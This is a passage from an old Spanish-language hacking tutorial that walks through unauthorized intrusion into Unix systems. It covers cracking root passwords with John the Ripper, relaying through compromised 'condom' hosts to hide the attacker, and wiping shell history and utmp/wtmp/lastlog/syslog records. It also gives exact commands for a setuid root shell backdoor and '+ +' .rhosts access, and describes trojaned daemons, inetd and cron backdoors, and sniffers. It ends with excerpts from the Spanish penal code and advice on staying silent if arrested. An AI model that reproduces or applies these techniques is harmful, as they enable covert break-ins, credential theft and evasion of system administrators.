En fin, se puede intentar sacar el password del root a partir del archivo /etc/passwd pero sinceramente es muy dificil ke el root sea tan tordo de tener un password sencillo aunque funciona aproximadamente un 5% de los casos que algo es algo ( mi experiencia es ke kada 10-15 makinas sako un password de root kon fuerza bruta usando solo los diccionarios usuales).

Si no tienes mas recursos para pillar el root, puedes probar a sacar el passwd de root usando el modo incremental en cualquier crackeador. En el caso del john the ripper, la sintaxis seria john -i -rules -users:0 ficheropasswd.

He de avisar que el metodo incrementar es una locura, de hecho hay textos por ahi diciendo que tardaria años en sacar el passwd. Yo solo he probado una vez este metodo para ver que tal iba y me saco el passwd tras unas 70 horas, pero tras hablar con gente por ahi.. creo que tuve suerte., es decir que de aqui se deduce que no vale la pena.. porque tener la maquina en marcha alomejor 100 horas o las que sean es una chorrada cuando se puede rular algun xploit y pillar el root en 5 minutos

De todos modos, una manera de trabajar seria no dedicar especial atencion al modo incremental, pero tras sacar algunas cuentas de usuarios normales, pasar algunos diccionarios con la opcion:

John -wordfile:dict.txt -rules -users:0 passwd

Y si rula, rula que tampoco se pierde tanto tiempo en pasar un par de diccionarios :o)

Pero en fin, en general el metodo mas rapido es usar un xploit como se comentara a continuacion aunque puede haber casos en los que el sistema operativo en el que estan no encontras xploits (sistemas operativos raros) o que estos xploits no funcionen por lo que estando muy desesperados puedes hacerlo asi aunque en el caso de que los xploits no funcionen es ke posiblemente el root kontrole y no creo que tenga un passwd sencillo, pero en fin.. nunka se sabe :)

 

7.2.- XPLOITS

En esta seccion voy a intentar poner uno de cada sistema operativo de los que suele haber por ahi y ademas voy a intentar que sean nuevecillos .. pero como siempre se pueden buscar en la red (siempre tengo el correo abierto para mails diciendome ftp buenos jeje).

Para entender el funcionamiento de la mayoria de ellos, los famosos buffer overflow, puedes leer algunos articulillos que hay en la red de Aleph One o Mudge por poner algunos ejemplos.. opino que valen la pena ;o)

 

7.3.- TROYANOS

En la sección TROYANOS de estas paginas encontraras la información que necesitas

 

8- HACKEAR CON CONDON ( o gateway)

Tras explicar los metodos para entrar en maquinas y pillar root, en este y el proximo apartado se va a explicar un poco que hacer para ke no te pillen.

En general, cuando tu hackeas una maquina sin ningun tipo de proteccion, simplemente haces telnet victima.com o ftp o el servicio que quieras. Esto esta muy bien porque claramente la distancia mas corta entre dos puntos es la linea recta, pero el problema es que en algunos logs de la maquina victima aparece nuestro ip y por tanto nos tienen perfectamente identificados con solo hacer un last.

Hay que puntualizar que otra manera de hacer las cosas es no usar condon pero tener mucha experiencia en el borrado de huellas pero eso no es aconsejable si no estas muy seguro de tus habilidades.

Un tema a discutir, seria cuando hay que usar protecciones o no. Un consejo personal es hacerlo dependiendo del tipo de maquina y del tipo de cosas que se van a hacer en ella. No es lo mismo entrar en una maquina de una universidad que sabemos que el root no esta muy experimentado que entrar en una maquina con medidas serias de seguridad. Tampoco es lo mismo entrar para ver que la cuenta que has pillado funciona, hacer un ls y poco mas, que entrar, ejecutar xploits, poner un sniffer, etc. Obviamente, en el segundo caso hay que tomar algun tipo de proteccion si no quieres acabar en la carcel. Ademas, mi opinion es que este sistema es un metodo de seguridad adicional ademas obviamente de borrar huellas y usar este sistema simplemente por si has fallado en algo pero no solo usar esto. Ademas, si tienes una cuenta y la usas con condon y no borras huellas, no te pillaran, pero seguramente veran los logs y te cancelaran la cuenta o cambiaran cosas del sistema dependiendo lo que hayas hecho. Te quitaran el sniffer, te quitaran si tienes sushi, si tienes alguna backdoor, etc.

 

La manera de trabajar usando condon, consiste en usar maquinas intermedias para saltar de una en otra hasta llegar a la maquina objetivo. El esquema seria:

 

Mimaquina-->Condon1-->Condon2-->Victima.com

 

Ponemos el ejemplo de dos maquinas intermedias que sera suficiente para la mayoria de casos, pero lo que es cierto es que como las maquinas condon sean un poco lentas.. nos podemos morir de asco y de aburrimiento :o(

 

En el ejemplo anterior, si en victima.com nos pillan, aparecemos con el ip de la maquina condon2 por lo que no sera la nuestra. Si quisieran pillarnos tendria que ir el root de la victima.com a hablar con el root de condon2 para convencerle de que le de tu ip ya que la maquina condon2 tendra tu conexion en su log (siempre que no hayas borrado huellas en la maquina condon2, cosa que seria conveniente). Raramente un root de victima.com hablara con condon2 diciendole que les ha entrado un hacker y pidiendoles ayuda y sobre todo si una es de Japon y la otra de Noruega (jeje) pero en casos extremos todo esto se podria hacer legalmente por parte de la policia, pero tienes que hacer algo muy gordo para eso. Ademas, como se ha usado otra maquina condon1 se multiplican nuevamente todos los problemas para localizarte por lo que sera improbable si has borrado las huellas medianamente bien. El problema de esto es que si saltas a una makina de japon y luego a otra de noruega y luego a otra de españa, puedes tardar 10 minutos en que llegue a la destino si las intermedias van lentas :(

 

Por ejemplo, si queremos hacer un telnet usando dos condones, el procedimiento seria:

 

% telnet condon1.com

Te cuenta un rollo y te pide login y pass (que deben ser conocidos)

UNIX v.4.5

Login: aaaaaa

Password: xxxxxx

Te da acceso a esa maquina y haces otro telnet:

% telnet condon2.com

 

Te cuenta otro rollo y te pide login y pass

IRIS v.3.5 Please Login

Login: pepito

Password: xxxx

% telnet victima.com <---------Sistema con seguridad seria

Te cuenta otro rollo y lo mismo:

 

Login: porfinllego

Password: xxxxxxxx

Bienvenido!

 

Y asi ya estamos en la maquina victima con 2 condones. Supongo que entendes el tema. Este procedimiento se puede usar con cualquier servicio: telnet, ftp, etc.

Es indispensable que las maquinas condon sean bastantes conocidas por el hacker, es decir, que sepas que el root no controla demasiado o que por algun motivo sabes que esta bajo tu control absoluto ( aunque recuerdo que no siempre todo es como parece ser :o( porque quiza te pases de listo pensando que el root no tiene ni puta idea y resulta que te esta tomando el pelo), ya que como haya algun contratiempo puedes acabar en la carcel :o( o tambien seria una putada que el root de esa makina sea un tio competente (u otro hacker) y te este vigilando en todo lo que hagas y te este logeando todo lo que haces con los correspondientes inconvenientes.

Sobre esto, he de decir que se debe tener en cuenta que hay administradores que controlan todos los aspectos del hacking y te pueden estar haciendo exactamente lo que piensas que le estas haciendo a el, es decir, el puede tener puestos troyanos para ocultar su presencia o para ocultar procesos suyos que te pueden estar logeando, pillan la idea no?.. de hecho muchos hackers que conozco que son roots de maquinas usan este tipo de cosas... asi que tened cuidado ahi fuera ;o)

 

9.- BORRAR HUELLAS

En el apartado 8 se ha explicado como proteger que te localicen pero siempre ha de estar combinado el uso de condon con el borrado de huellas.

El borrado de huellas es una de las tareas mas importantes cuando se entra en una maquina ya que si detectan que has entrado se mosquearan y buscaran como conseguir eliminarte y aunque el root no se entere mucho, siempre puede pedirle a alguien ayuda y que te descubran los troyanos, rootkits y demas ingenios maleficos..:( .. por esto, lo mejor es que no detecten que has entrado y esto se consigue borrando las huellas tal y como se explica a continuacion.

El problema del borrado de huellas es que para borrar poder borrar todas las huellas has de ser root (excepto algunos sunos que se podia modificar un archivo de log aunke no todos) y ademas en algunos sistemas con sistemas adicionales de logs o de seguridad borrar todas las huellas se puede convertir en una tarea compleja.

Un consejo particular es que el hackeo de la maquina, a ser posible, es mejor hacerlo todo de una. Es decir, que si por ejemplo consigues el archivo de passwd con un bug remoto ( por ejemplo el phf), eso deja logs en el httpd por lo que lo mas interesante es pillar el archivo de passwd y desencriptarlo con el john ( o si pillas una shell remota no necesitas desencriptar), entrar e intentar hacerte root para poder borrar las huellas... todo de un tiron.

te puedes preguntar que si no es mas comodo hacerlo en varios dias.. la respuesta es que es mas comodo hacerlo en varios dias, pero tened en cuenta que si por ejemplo pillan el archivo de passwd con el phf un lunes noche, y hasta el jueves no te pones de nuevo con la maquina, el root puede haber visto los logs del httpd en martes y darse cuenta de que tiene un hacker rondando... una putada no?... sin embargo, si el mismo lunes, entran usando el phf, rulan xploits y te haces root y usan las tecnicas explicadas en esta seccion para borrar huellas, seras roots y ademas no tendra manera de detectarlo... esta bien no??

Por cierto, aunque no venga mucho al caso, aconsejo que al entrar en una maquina, antes de hacer cosas, hagan un who.. aunque tened en cuenta que hay que saber interpretar los resultados del who ya que a veces pueden estar semi-adulterados.

Otra cosa es que hay que ser un poco cuidadoso con lo que se hace. Hay mucha gente que sube los xploits a las maquinas y los zappers y luego no se preocupan ni de borrarlos ni de nada.. opino que tampoco cuesta mucho meter todos los xploit en un directorio .xploit y antes de irte hacer un rm -r .xploit... es ke da un poko de pena ir por una makina y encontrartela llena de xploits y de archivos de passwd por los homes de los usuarios :(

En fin, vamos al grano... los sistemas operativos llevan por defecto bastantes logs ( log es un archivo que guarda informacion) : en los textos que he mirado por ahi la mayoria hablan del wtmp, utmp y lastlog y algunos hablan sobre el acct, pero en realidad hay que tener cuidado con algunos logs mas como pueda ser el que registra las entradas por ftp, todos los que genera el syslogd, los del httpd, etc.

Ademas para joder mas, existen programas especificos para ejercer tareas adicionales como puedan ser el tripwire (comprobador de binarios), tcp-wrappers, log daemons adicionales, etc pero en fin... todo esto lo dejaremos para otro texto que vienen los examenes pronto y tengo poco tiempo jeje

Bien, seas o no seas root, has de tener cuidado con el history. El history es un archivo que guarda todos los comandos que ejecutas y que por ejemplo en la bash se llama .bash_history.

Para evitar que se haga el history tienes varias alternativas:

unset history

o

poner un set y hacer algo del tipo HISTFILE=/dev/null

o

ln -s /dev/null /.bash_history (suponiendo que estamos en bash shell)

 

El sistema que yo uso es ejecutar una csh ke no deja archivo history kon lo ke te olvidas de este problema :)

Otra historia para tener en cuenta es que si entras en la tipica maquina que te dice quien fue el ultimo usuario que entro a esa cuenta, podria ser sospechoso si entras a una maquina alemana y ve que

Lastlogin by pepito.cl 23-01-1997

Opino que seria mosqueante no?... asi que si no conseguimos ser root y podemos borrarlo con el cloak o similar, lo que tenemos que hacer es un telnet maquinavictima.de y asi cuando entre la siguiente persona vera:

Lastlogin by maquinavictima.de 23-01-1997

Que aunque no es perfecto, es mejor que en el caso anterior no?

Ademas de esto, se ha de tener en cuenta que muchas veces lo que hagamos en la maquina creara archivos en el /tmp por lo que habra que darse una vuelta por alli antes de salir de la maquina y borrar si hemos generado algo... identificaremos rapidamente lo ke hemos generado nosotros por el propietario de los archivos.

En fin, todo lo explicado hasta ahora es suponiendo que no hemos conseguido root, pero si pillamos el root, casi siempre podremos borrar todas las huellas aunque tambien hemos de tener mas cuidado ya que si no las borramos bien y el verdadero root entra a la maquina y ve que alguien hizo modificaciones como root un dia que el no estuvo (y que estuvimos nosotros), se mosqueara bastante y le dara que pensar.... y posiblemente te pille o cambie las cuentas del sistema o haga cualquier cosa.

La idea es que si entramos como login pepito, el root no puede saber si pepito es realmente pepito o no y no tiene manera de comprobarlo pero sin embargo el root si que sabe aproximadamente que dias se conecto por lo que si al hacer un last ve que se conecto por ejemplo el jueves 24 de enero y resulta que ese dia estaba con la novia...... pensando llegaria a la conclusion de que alguien entro a la maquina como root...... asi la conclusion es que cuando nos hagamos root hay que tener cuidado en borrar las huellas ( este tipo de cosas puede parecer obvio pero siempre es bueno recordarlas no?). Tambien hay que tener en cuenta que si entras como user normal y ejecutas un xploit, en la mayoria de los casos tu uid no sera el de root pero tendras privilegios de root por lo que el root haciendo un last no detectara que ha entrado alguien kon privilegios de root.. aunke se puede dar kuenta por otros detalles.

 

En fin, los logs mas importantes son:

UTMP - Indica quien esta conectado en cada momento.

WTMP - Indica todas las entradas y salidas de la maquina victima indicando el tty y el host.

LASTLOG - Guarda un log indicando el momento exacto en el que se conecto el usuario por ultima vez.

ACCT - Guarda todos los comandos ejecutados por los usuarios (aunque sin argumentos) y como te podras imaginar eso se hace un log enorme en un rato por lo que no suele estar activo, pero siempre hay que tener en cuenta que puede estar activo y que es una putada porque logea todo lo que haces. En general, la mayoria de los zappers tienen opciones para borrar el acct asi ke no hay problemas. De todos modos, zhart (thc) hizo un programa ke sirve para borrar las huellas del acct ke esta bastante bien y ke lo puedes enkontrar en la red :)

 

Y estan ubicadas en los siguientes directorios:

 

UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

ACCT : /var/adm/acct ( en algunos sistemas se puede llamar pacct )

 

El demonio syslogd que guarda informacion en distintos archivos indicados en el /etc/syslogd.conf aunque puede estar en otras ubicaciones. La ventaja que tiene el log creado por el syslogd sobre los otros es que mientras que tanto el utmp, wtmp, lastlog y acct tienen estructura de datos por lo que no se pueden modificar con un editor de textos normalmente (aunque tampoco ofrece grandes complicaciones), los archivos producidos por el daemon syslogd si que son editables en modo texto por lo que usando el grep con un poco de gracia deberiamos borrar la mayoria de las huellas, es decir buscar en modo texto mensajes que pueden referir a nuestra conexion, por ejemplo podemos buscar el nombre de la maquina desde la que hemos conectado, nuestro login ,etc.

 

A continuacion indico como funciona el syslogd.conf. Algunos de los tipos de procesos que pueden general mensajes son los siguientes:

kern --> mensajes relativos al kernel

user --> mensajes relativos a procesos ejecutados por usuarios normales.

mail --> mensajes relativos al sistema de correo.

lpr --> mensajes relativos a impresoras.

auth --> mensajes relativos a programas y procesos de autentificacion (aquellos en los que estan involucrados nombres de usuarios y passwords, por ejemplo login, su, getty, etc)

daemon --> mensajes relativos a otros demonios del sistema.

 

Mientras que pueden generar mensajes de los siguientes tipos:

emerg --> emergencias graves.

alert --> problemas que deben ser solucionados con urgencia.

crit --> errores criticos.

err --> errores ordinarios.

warning --> avisos.

notice --> cuando se da una condicion que no constituye un error pero a la que se le debe dar una cierta atencion.

info --> mensajes informativos.

 

Una desventaja que tiene el syslogd es que puede que envie los logs a otra maquina con lo que seran unas huellas dificiles de borrar. Esto no es nada usual pero lo comento para que sepan lo que te puedes encontrar por ahi afuera :o(.

En muchos sistemas corre el tcp wrapper que ofrece posibilidades extras como ver que maquinas se pueden conectar o no a una maquina donde este el tcp wrapper instalado a los distintos servicios ( usando el host.allow y el host.deny) y ademas puede ofrecer la posibilidad de establecer logs adicionales. Para controlar y borrar estos logs debes mirar en el syslog.conf que tambien indica los logs de los tcp wrappers.

Ademas hemos de ver los logs del httpd, ftp, etc. que pueden tener distintas ubicaciones segun los distintos sistemas. Estos pueden estar en los mismos directorios que los tipicos utmp, wtmp, lastlog, acct o por ejemplo los de httpd pueden estar en el directorio donde se ubica el httpd.

Un sistema un poco cutre que puede ayudar es hacer un find / -name *log* con lo que te buscara todos los archivos en la maquina que contengan en su nombre la palabra log con lo que te puede dar pistas de por donde mirar ya que muchos logs tienen la palabra log en su nombre como el log_access, xferlog, etc..

Una forma de comprobar otros archivos de log existentes en el sistema, es verificar cuales son todos aquellos archivos que se encuentran abiertos en el momento, y por ello, lo que podemos conseguir es una pista de cuales son algunos de los posibles lugares en los que se puede almacenar informacion que comprometa al usuario. Un programa para ello es el LSOF (LiSt Open Files), el cual nos indicar los archivos que se encuentran abiertos en ese momento.

En fin, este tema es mucho mas complejo, pero creo que extenderse mas se escapa de los objetivos de este texto y ademas la mejor manera de aprender sobre estas kosas es probando, viendo makinas, probando programas, etc.

 

 

10.- PRESERVAR EL ACCESO Y PONER SNIFFERS

Bueno, voy a dar cuatro matices sobre este tema. La idea es que tras haber conseguido un root es interesante instalar backdoors ( o mejor una rootkit que es un conjunto de backdoors y otras herramientas) para seguir teniendo acceso como root y no tener que repetir el proceso de entrar por una cuenta normal, ejecutar xploit, etc,...ya que esto es un coñazo.

Bueno, simplemente comento que hay backdoors para el telnetd, login, fingerd, y muchisimos mas, aunque lo que no hay que hacer es poner sushis o usar la tipica backdoor en el .rhosts o hosts.equiv ya que esos se notan mucho y nada mas que el root mire un poco su maquina se dara cuenta.

De todos modos, por ser metodos que se han usado mucho y que ademas es posible que algun dia tengas que usarlo si estas ante un sistema operativo raro, voy a explicarlos un poco.

Poner una sushi (set uid shell) consiste en que cuando seas root, hacer una copia de la shell, cambiarle el nombre y ponerle como owner al root y luego darle permisos 4755.

Es decir... haces:

Cp /bin/sh /directoriopublico

Mv sh /directoriopublico

Cd directoriopublico

Mv sh cualquiera

chown root cualquiera

chmod 4755 cualquiera

 

La gracia de esto es que el 4 indica que cualquiera que ejecute ese archivo tendra privilegios del owner de ese archivo. Asi, como el owner es el root y el archivo es una shell, obtendremos una shell de root con lo que cuando entremos a esta maquina como un usuario normal, simplemente iremos al directoriopublico, ejecutamos ./cualquiera y tendremos una shell de root.

En este momento es importante señalar las diferencias entre UID (User Identification) y EUID (Efective User Identification), es decir, cuando ejecutes la sushi tendras como UID la que tuviese del usuario con el que habes entrado pero tendras como EUID=0, es decir que tenes privilegios de root para hacerlo todo pero sin embargo si por ejemplo haces un who aparecera el UID de la cuenta con la que habes entrado y no aparecera como root... tened cuidado con este tema que a veces puede ocasionar lios con los permisos y owners de los archivos.

Vale, hasta ahora todo muy bonito pero la desventaja de esto es que te la pueden localizar facilmente haciendo un find -perm 4000 ........ ya que con este comando busca archivos que tengan estas caracteristicas del bit de setuid activado con lo que el root te puede pillar facilmente por lo que claramente es desaconsejable.

Otro metodo, aun pero es poner un + + en el .rhosts del root. Esto quiere decir que cualquiera que haga un rlogin al root desde cualquier maquina sera root sin necesidad de password.. es decir con rlogin -l root maquinavictima.com. Obviamente la desventaja de esto es que el root cuando vea un + + en su .rhosts te pillara y esto es de lo que mas canta por lo que tambien es claramente desaconsejable.

Ademas de esto hay programas que substituyen el fingerd, telnetd, login, etc para que cuando tu les des unos datos determinados te dejen entrar como root remotamente. Esta es una buena solucion aunque en algunos casos la longitud del archivo difiere mucho del real al troyano .. pero hay algun metodo mas que ya se comentara en otros textos para que no te pillen por este motivo. Estos troyanos estan en muchos de los lugares de la red asi ke dando un par de vueltas los encontraras.. igualmente, es posible que esten en la misma maquina de donde te bajes este texto. Obviamente no son adjuntados por no hacer esto mas grande, que ya se esta haciendo demasiado largo el textito de marras.. jeje

Ademas de meter troyanos, tambien hay backdoors usando el inetd, cron y demas.... su funcionamiento es bastante obvio... el inetd define los demonios que se arrancan asociados con cada puerto por lo ke puedes poner asociado a un puerto raro una shell de root... respecto al cron.. es un programa que te permite definir tareas que se repitan periodicamente... puedes hacer ke todos los dias a una hora dada se modifique el archivo /etc/passwd, o que ejecute un socket daemon o mil kosas mas... estas dos backdoors ofrecen muchas posibilidades.. la putada en contra de los troyanos es que nada mas que el root vea el inetd.conf ( en el caso del inetd) o el directorio cron se pueden dar cuenta facilmente.

Ademas de lo que acabo de comentar, una vez tienes la maquina controlada, lo que has de hacer es poner un sniffer para conseguir mas cuentas que se comenta a continuacion.

 

Nota previa:

La manera mas usual de conectar maquinas es usando Ethernel. El protocolo de Ethernet trabaja enviando la informacion en paquetes a las maquinas de la red. La cabecera del paquete contiene la direccion IP de la maquina destino. Solo la maquina que tiene este IP va a recibir este paquete en teoria, pero una maquina se puede poner en modo promiscuo de manera que reciba todos los paquetes que van por la red independientemente de lo que ponga en la cabecera como IP de destino.

Asi, basicamente un sniffer lo que hace es poner a la maquina en modo promiscuo, es decir, que la maquina acepta todos los paquetes que van por la red y no solo los que van destinados a ella.

La gracia de esto es que en una red normal ( sin usar metodos de encriptacion de passwords como el Kerberos) por la red rulan los paquetes con el login y passwd de otras maquinas con lo que conseguiras cuentas en otras maquinas sin hacer nada.. esta bien no?.

El problema es que se puede detectar facilmente si en una maquina hay un sniffer corriendo simplemente haciendo ifconfig -a (en general, aunque varia un poco para algunos sistemas) porque aparece un mensaje de que la maquina esta en promiscous mode... por lo que tendras que poner un troyano para el ifconfig porque si no, el root se percatara y se mosqueara. Recuerdo que en las rootkits vienen incluidos troyanos para el ifconfig.

Hay muchisimos sniffers, estos programas permiten muchas opciones como que te permiten sniffear algunos puertos o todos, buscar palabras en los paquetes, etc y los hay desde algunos muy cutres hasta otros comerciales. Algunos nombres son tcpdump, sniffit, esniff, websniff, linsniffer, solsniff, sunsniff, etc.. como ves hay muchos y para distintos sistemas operativos. Lo que se ha de tener en cuenta cuando instalas un sniffer en una maquina es que como es logico, si hay mucho trafico de paquetes en esa maquina y no seleccionan bien la forma de filtrar que info queda en el log y cual no, se pueden generar archivos de logs grandisimos por lo que este es un factor muy a tener en cuenta porque a veces si te equivocas.. se crea un archivo grandisimo, el root se percata y a la mierda todo el trabajo :o(

 

Dependiendo de la makina y su trafico puede ser suficiente mirar los logs cada semana mas o menos o cada dos. Tambien, si eres comodo puedes usar un cronjob que te mailee los logs, pero eso kanta mas :)

 

 

 

LEGALIDAD

Para finalizar esta introducción, creo que debo de acabar con esto ya que siempre hay que recordar que todo esto es ilegal... luego no digas que no estas avisado aunque tambien depende de lo que hagas. En realidad, opino que por entrar en una maquina y hacer cuatro cosas sin hacer daño a nadie ni haciendoles perder datos, ni haciendolo por motivos de lucro o para destrozar cosas, esto no deberia ser ilegal pero en fin.. los tiras y los pacos de mierda en lugar de dedicarse a perseguir a toda la mala gente que hay por ahi, se dedica a jodernos a nosotros.. la vida es asi, y digo esto por que estuve viendo los nombres de los servidores que visitan estas paginas y me llamo mucho la atención, el servidor, carabineros.cl. : )

Primero que nada les presento un codigo que encontre por ahi, no se si se aplicará a las leyes chilenas, pero mas adelante esta el que nos intereza, las leyes informaticas de chilena.

Ademas adjunto un texto como sobre comportarse si pasa algo que aunque esta orientado al caso de pirateria de software, creo que es sencilla su extrapolacion al caso que nos ocupa.

 

NUEVO CODIGO PENAL ( ESPAÑA )

 
DELITOS RELACIONADOS CON LAS TECNOLOGIAS DE LA INFORMACION
TITULO X
Delitos contra la intimidad, el derecho a la propia imagen y la inviolabilidad del domicilio

CAPITULO I
Del descubrimiento y revelacion de secretos

Articulo 197
 
1. El que para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento, se apodere de sus papeles, cartas, mensajes de correo electronico o cualesquiera otros documentos o efectos personales o intercepte sus telecomunicaciones o utilice artificios tecnicos de escucha, transmision, grabacion o reproduccion del sonido o de la imagen, o de cualquier otra señal de comunicacion, sera castigado con las penas de prision de uno a cuatro años y multa de doce a veinticuatro meses.
 
2. Las mismas penas se impondran al que, sin estar autorizado, se apodere, utilice o modifique, en perjuicio de tercero, datos reservados de caracter personal o familiar de otro que se hallen registrados en archivos o soportes informaticos, electronicos o telematicos, o en cualquier otro tipo de archivo o registro publico o privado. Iguales penas se impondran a quien, sin estar autorizado, acceda por cualquier medio a los mismos y a quien los altere o utilice en perjuicio del titular de los datos o de un tercero.
 
3. Se impondra la pena de prision de dos a cinco años si se difunden, revelan o ceden a terceros los datos o hechos descubiertos o las imagenes captadas a que se refieren los numeros anteriores. Sera castigado con las penas de prision de uno a tres años y multa de doce a veinticuatro meses, el que, con conocimiento de su origen ilicito y sin haber tomado parte en su descubrimiento, realizare la conducta descrita en el parrafo anterior.
 
4. Si los hechos descritos en los apartados 1 y 2 de este articulo se realizan por las personas encargadas o responsables de los archivos, soportes informaticos, electronicos o telematicos, archivos o registros, se impondra la pena de prision de tres a cinco años, y si se difunden, ceden o revelan los datos reservados, se impondra la pena en su mitad superior.
 
5. Igualmente, cuando los hechos descritos en los apartados anteriores afecten a datos de caracter personal que revelen la ideologia, religion, creencias, salud, origen racial o vida sexual, o la victima fuere un menor de edad o un incapaz, se impondran las penas previstas en su mitad superior.
 
6. Si los hechos se realizan con fines lucrativos, se impondran las penas respectivamente previstas en los apartados 1 al 4 de este articulo en su mitad superior. Si ademas afectan a datos de los mencionados en el apartado 5, la pena a imponer sera la de prision de cuatro a siete años.
 
Articulo 198
 
La autoridad o funcionario publico que, fuera de los casos permitidos por la Ley, sin mediar causa legal por delito, y prevaliendose de su cargo, realizare cualquiera de las conductas descritas en el articulo anterior, sera castigado con las penas respectivamente previstas en el mismo, en su mitad superior y, ademas, con la de inhabilitacion absoluta por tiempo de seis a doce años.
 
Articulo 199
 
1. El que revelare secretos ajenos, de los que tenga conocimiento por razon de su oficio o sus relaciones laborales, sera castigado con la pena de prision de uno a tres años y multa de seis a doce meses.

2. El profesional que, con incumplimiento de su obligacion de sigilo o reserva, divulgue los secretos de otra persona, sera castigado con la pena de prision de uno a cuatro años, multa de doce a veinticuatro meses e inhabilitacion especial para dicha profesion por tiempo de dos a seis años.
 
Articulo 200
 
Lo dispuesto en este capitulo sera aplicable al que descubriere, revelare o cediere datos reservados de personas juridicas, sin el consentimiento de sus representantes, salvo lo dispuesto en otros preceptos de este codigo.
 
Articulo 201
 
1. Para proceder por los delitos previstos en este capitulo sera necesaria denuncia de la persona agraviada o
de su representante legal. Cuando aquella sea menor de edad, incapaz o una persona desvalida, tambien podra denunciar el Ministerio Fiscal.
 
2. No sera precisa la denuncia exigida en el apartado anterior para proceder por los hechos descritos en el articulo 198 de este Codigo, ni cuando la comision del delito afecte a los intereses generales o a una pluralidad de personas.
 
3. El perdon del ofendido o de su representante legal, en su caso, extingue la accion penal o la pena impuesta, sin perjuicio de lo dispuesto en el segundo parrafo del numero 4º del articulo 130.
 
 
Articulo 248.
 
 
1.- Cometen estafa los que, con animo de lucro, utilizaren engaño bastante para producir error en otro, induciendolo a realizar un acto de disposicion en perjuicio propio o ajeno.
 
2.- Tambien se consideran reos de estafa los que, con animo de lucro, y valiendose de alguna manipulacion informatica o artificio semejante consigan la transferencia no consentida de cualquier activo
patrimonial en perjuicio de tercero.
 
 
Articulo 263.
 
El que causare daños en propiedad ajena no comprendidos en otros Titulos de este Codigo, sera castigado con la pena de multa de seis a veinticuatro meses, atendidas la condicion economica de la victima y la cuantia del daño, si este excediera de cincuenta mil pesetas.
 
 
Articulo 264.
 
 
1.- Sera castigado con la pena de prision de uno a tres años y multa de doce a veinticuatro meses el que causare daños expresados en el articulo anterior, si concurriera alguno de los supuestos siguientes:
 
1º.- Que se realicen para impedir el libre ejercicio de la autoridad o en venganza de sus determinaciones, bien se cometiere el delito contra funcionarios publicos, bien contra particulares que, como testigos o de cualquier otra manera, hayan contribuido o pueden contribuir a la ejecucion o aplicacion de las Leyes o disposiciones generales.
 
2º.-Que se cause por cualquier medio infeccion o contagio de ganado.
 
3º.-Que se empleen sustancias venenosas o corrosivas.
 
4º.- Que afecten a bienes de dominio o uso publico o comunal.
 
5º.- Que arruinen al perjudicado o se le coloque en grave situacion economica.
 
2.- La misma pena se impondra al que por cualquier medio destruya, altere, inutilice o de cualquier otro modo dañe los datos, programas o documentos electronicos ajenos contenidos en redes, soportes o sistemas informaticos.
 
 
CAPITULO XI
 
 
De los delitos relativos a la propiedad intelectual e industrial, al mercado y a los consumidores
 
 
Seccion 1ª.- DE LOS DELITOS RELATIVOS A LA PROPIEDAD INTELECTUAL.
 
 
Articulo 270.
 
Sera castigado con la pena de prision de seis meses a dos años o de multa de seis a veinticuatro meses quien, con animo de lucro y en perjuicio de tercero, reproduzca, plagie, distribuya o comunique publicamente, en todo o en parte, una obra literaria, artistica o cientifica, o su transformacion, interpretacion o ejecucion artisitica fijada en cualquier tipo de soporte o comunicada a traves de cualquier medio, sin la autorizacion de los titulares de los correspondientes derechos de propiedad intelectual o de sus cesionarios.

La misma pena se impondra a quien intencionadamente importe, exporte o almacene ejemplares de dichas obras o producciones o ejecuciones sin la referida autorizacion.

Sera castigada tambien con la misma pena la fabricacion, puesta en circulacion y tenencia de cualquier medio especificamente destinada a facilitar la supresion no autorizada o la neutralizacion de cualquier dispositivo tecnico que se haya utilizado para proteger programas de computador.
 
 
Articulo 278.
 
1.- El que, para descubrir un secreto de empresa se apoderare por cualquier medio de datos, documentos escritos o electronicos, soportes informaticos u otros objetos que se refieran al mismo, o empleare alguno de los medios o instrumentos señalados en el apartado 1 del articulo 197, sera castigado con la pena de prision de dos a cuatro años y multa de doce a veinticuatro meses.
 
2.- Se impondra la pena de prision de tres a cinco años y multa de doce a veinticuatro meses si se difundieren, revelaren o cedieren a terceros los secretos descubiertos.
 
3.- Lo dispuesto en el presente articulo se entendera sin perjuicio de las penas que pudieran corresponder por el apoderamiento o destruccion de los soportes informaticos.
 
 
 
CAPITULO III
 
Disposicion general
 
 
Articulo 400.
 
La fabricacion o tenencia de utiles, materiales , instrumentos, sustancias, maquinas, programas de computador o aparatos, especificamente destinados a la comision de los delitos descritos en los capitulos anteriores, se castigaran con la pena señalada en cada paso para los autores.
 
 
Articulo 536.
 
La autoridad, funcionario publico o agente de estos que, mediando causa por delito, interceptare las telecomunicaciones o utilizare artificios tecnicos de escuhas, transmision, grabacion o reproduccion del sonido, de la imagen o de cualquier otra señal de comunicacion, con violacion de las garantias constitucionales o legales, incurrira en la pena de inhabilitacion especial para empleo o cargo publico de dos a seis años.
Si divulgare o revelare la informacion obtenida, se impondran las penas de inhabilitacion especial, en su mitad superior y, ademas la de multa de seis a dieciocho meses.


Ademas adjunto un texto de shooting que he pillado en la red y que da algunos consejos... aunque en principio se refiere a la venta de software ilegal, lo he adjuntado ya que su extrapolacion al caso que nos ocupa es sencilla y quiza algun dia nos haga falta :o(


Establece el articulo 520 de la Ley de Enjuiciamiento Criminal. que toda persona detenida o presa sera informada, de modo que le sea comprensible, y de forma inmediata, de los hechos que se le imputan y las razones motivadoras
de su privacion de libertad, asi como de los derechos que le asisten y especialmente de los siguientes:

Derecho a guardar silencio no declarando si no quiere, a no contestar alguna o algunas de las preguntas que le formulen, o a manifestar que solo declarara ante el Juez. La mejor forma de ejercitar este derecho es no decir nada. Asi de sencillo y aunque parezca una perogrullada, desde el principio, desde el mismo momento de la detencion, nada, absolutamente nada.

La policia querra saber donde estan los Cds, la agenda del detenido, a quien le ha comprado y vendido este el material, etc. En ese momento, lo mejor que puede hacer el detenido es sonreir... y guardar silencio.

Pese a lo que se le hace creer al ciudadano desde la escuela, el detenido no tiene ninguna obligacion de colaborar con la policia, y lo que diga solo le puede perjudicar.

